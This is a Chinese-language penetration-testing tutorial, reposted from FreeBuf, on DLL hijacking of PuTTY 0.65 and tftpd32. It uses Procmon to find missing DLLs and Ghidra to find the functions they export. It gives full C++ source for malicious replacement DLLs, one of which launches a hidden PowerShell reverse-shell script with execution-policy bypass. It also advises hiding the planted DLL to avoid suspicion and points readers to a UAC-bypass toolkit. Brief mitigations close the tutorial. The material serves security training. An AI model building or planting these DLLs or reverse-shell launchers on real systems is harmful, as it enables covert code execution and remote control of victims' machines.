DLL劫持漏洞与思考
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
DLL劫持顾名思义,是去执行一个外部库(dll)的代码,而不是执行一个可移植的可执行 PE文件。通过DLL的搜索顺序,可以将代码植入二进制程序让易受攻击的应用程序加载并执行。这不是一个新提出的攻击方法,但有什么更好的方法可以通过NSA最新发布的工具Ghidra找到dll劫持代码吗?
我在这篇文章中将会相当深入地介绍DLL劫持,但首先有一些基本的概念需要了解一下。
使用Procmon,打开目标PE,识别试图从可写路径加载的DLLs文件名。
使用Ghidra识别所述DLL的入口点。
创建入口点是你的有效载荷的DLL。
对编译后的DLL进行重命名,并加入可写目录。
执行存在劫持突破的exe程序。
首先我们需要安装下列程序:
腻子 0.65-需要劫持的应用程序
tftpd32 v3.50-将被劫持的应用程序
测试DLL劫持的应用有很多,但这些应用都很简单,而且在我遇到的一些文章中都有记录。如果需要深入研究每个例子,一定要查看更多代码。Sysinternals还包含少量的二进制文件,如果你愿意的话,可以进行更多的dll劫持练习。
找到系统中可被劫持的DLL
这一步的目标是找到程序试图加载的DLL,一种是它想加载但是找不到,或者它找到了并且你作为一个低权限用户调用有写入的权限。我们通常去寻找放置C:\
,网络共享端,用户桌面,或者其他常见的可写目录下的应用程序。
C:\Windows
或C:\Program Files
目录中的任何内容都通过Admin privs和UAC来保护。在某个场景中,如果UAC可以被绕过,可以通过DLL劫持来实现。参考https://github.com/hfiref0x/UACME,了解大量的UAC绕过技术。
使用Sysinternals工具Procmon,我们可以运行一个PE,并观察它试图加载DLL。PowerSploit也有一些Powershell模块可以识别潜在的可劫持进展和路径。
但是在这里我们还是使用Procmon去查找这些替换文件。
在第一个示例中,我们将对Putty 0.65进行测试。有时情况下,Putty安装在 C:\Program Files (x86)
中,这个文件夹是安全并受到保护的。在我们的示例中,我们将其安装在桌面上。
在启动putty之前首先启动Procmon
,通过设置一些过滤器来缩小我们的结果。我们要找到Putty试图加载它的文件夹(桌面)中调用但是实际上在文件夹中不存在的DLLs。这是应用程序在Windows系统上搜索外部库的第一个位置。微软官方指南关于DLL搜索顺序。
所以我们要在Procmon中设置过滤器,以显示putty试图从其主目录加载时产生而没有找到错误的DLL。设置好过滤器后,运行Putty并检查结果。
我们将重点关注WINMM.dll。如果您删除Procmon
中的过滤器,您会看到DLL的搜索顺序发生了变化,并在C:\Windows\SysWOW64
中找到了有效的winmm.dll,这个dll正式我们想要“劫持”的文件。
那么为什么不直接在dll中创建一个有效的副本,重命名后放在桌面上Putty文件夹中呢?因为Putty是在DLL中调用一个函数,如果你在DLL中没有这个函数,会导致Putty崩溃,无法正常加载。
很好,那么我们如何找到Putty调用的函数呢?然后需要使用Ghidra了。
使用GHIDRA寻找DLL函数的入口点
下载Ghidra,将putput.exe合并到主窗口中,让Ghidra进行进行解析。
完成后,单击左侧导航栏的符号树,展开导入文件夹。在这里你会看到Putty所有使用的导入库,其中有我们刚才发现的WINMM.DLL。展开WINMM.DLL,我们看到当中有一个唯一被称为过的引入函数PlaySoundA。
记下这个函数以及DLL中其他被调用的函数名。现在是时候重建我们的DLL了。
构造我们的DLL
现在我们知道了入口点函数和库名,我们可以开始编译恶意的DLL了。请记住,构造完成之后这个函数将被替换为转换函数,方便Putty进行进行导入。
在Visual Studios中创建一个新的dll项目,将下面的代码粘贴到其中的dllmain.cpp中。您也可以对这个代码进行修改,然后在Linux上使用mingw32进行编译。
在PlaySoundA函数内部的代码会弹出计算器。
#include "stdafx.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("calc", SW_NORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) void PlaySoundA() { WinExec("calc", SW_NORMAL); }
使用Windows内置的RUNDLL32.exe对我们编译生成的DLL进行测试。执行RUNDLL32.exe
需要两个参数,一个是dll,另一个是其中的包括转换函数名。
在这个例子中,putty会执行DLL_PROCESS_ATTACH和PlaySoundA函数,然后展开计算器。接下来就可以进行最后的dll劫持了。
进攻利用
只需将您编译好的dll移到Putty的目录下,并重命名它,然后执行putty.exe
。
上面的图片显示我们的突破利用成功了,如果你想把这件事做的更隐蔽,,可以把DLL的文件属性设置为“隐藏”,这样一般的Putty用户就不会看到这个单独的DLL,避免产生任何怀疑。
多入口点函数
与上面类似,我们将针对tftpd32 v3.50运行Procmon。这个应用本身不存在漏洞,但他是一个简单的Windows PE例子。这次我们将使用一个reverse shell
作为payload以及一个带有多个入口点函数的DLL。
运行Procmon后,识别出几个在程序中被加载的dll:
Next, Open Ghidra » Expand Imports » Expand IPHLPAPI.dll and we see 3 functions.
接下来,打开Ghidra -> Expand Imports -> Expand **IPHLPAPI.dll**
,我们看到3个函数。
接下来就是创建我们的DLL。但多个入口点函数如何处理呢?只需像之前一样实现每个导出函数,总共有三个。你需要添加所有的导出函数,否则应用程序在执行的时候会崩溃。
至于有效载荷,它将是一个简单的Powershell反向shell,隐藏在tftpd32目录下(shell.ps1)。
一个例子:
#include "stdafx.h" #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("start powershell -win hidden -nonI -nopro -ep bypass -File shell.ps1"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) void SendARP() { WinExec("calc", SW_NORMAL); } extern "C" __declspec(dllexport) void GetIpNetTable() { WinExec("calc", SW_NORMAL); } extern "C" __declspec(dllexport) void DeleteIpNetEntry() { WinExec("calc", SW_NORMAL); }
编译成DLL,放在对应的文件夹下面并执行。
缓解措施
最好的做法是将应用程序和DLL安装在受保护的文件夹中,如
C:\Program Files
或
C:\Windows
。
避免直接从网络共享运行可执行文件。相反,将它们移到本地保护的文件夹中。
启用SafeDllSearchMode。现代Windows操作系统(Win2012+)默认启用了SafeDllSearchMode,可以通过注册表或GPO进行检查。
设置注册表 Reg key:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode
Server 2012之前的机器 Prior to 2012:
Computer Configuration >> Policies >> Windows Settings >> Security Settings >> Local Policies >> Security Options >> MSS: SafeDlSeachlMode
禁用远程DLL加载。有必要加载远程库吗?请记住,任何远程SMB流量都是一个明确的危险信号。
应用程序白名单。如果没有被绕过,这将阻止可执行文件和库在预定义目录之外执行。
参考链接
https://attack.mitre.org/techniques/T1038/
http://www.bluekaizen.org/dll-hijacking-2/
https://pentestlab.blog/2017/03/27/dll-hijacking/
https://astr0baby.wordpress.com/2018/09/08/understanding-how-dll-hijacking-works/
本文来自本文作者:Kriston, 转载自FreeBuf.COM,经授权后发布,本文观点不代表立场,转载请联系原作者。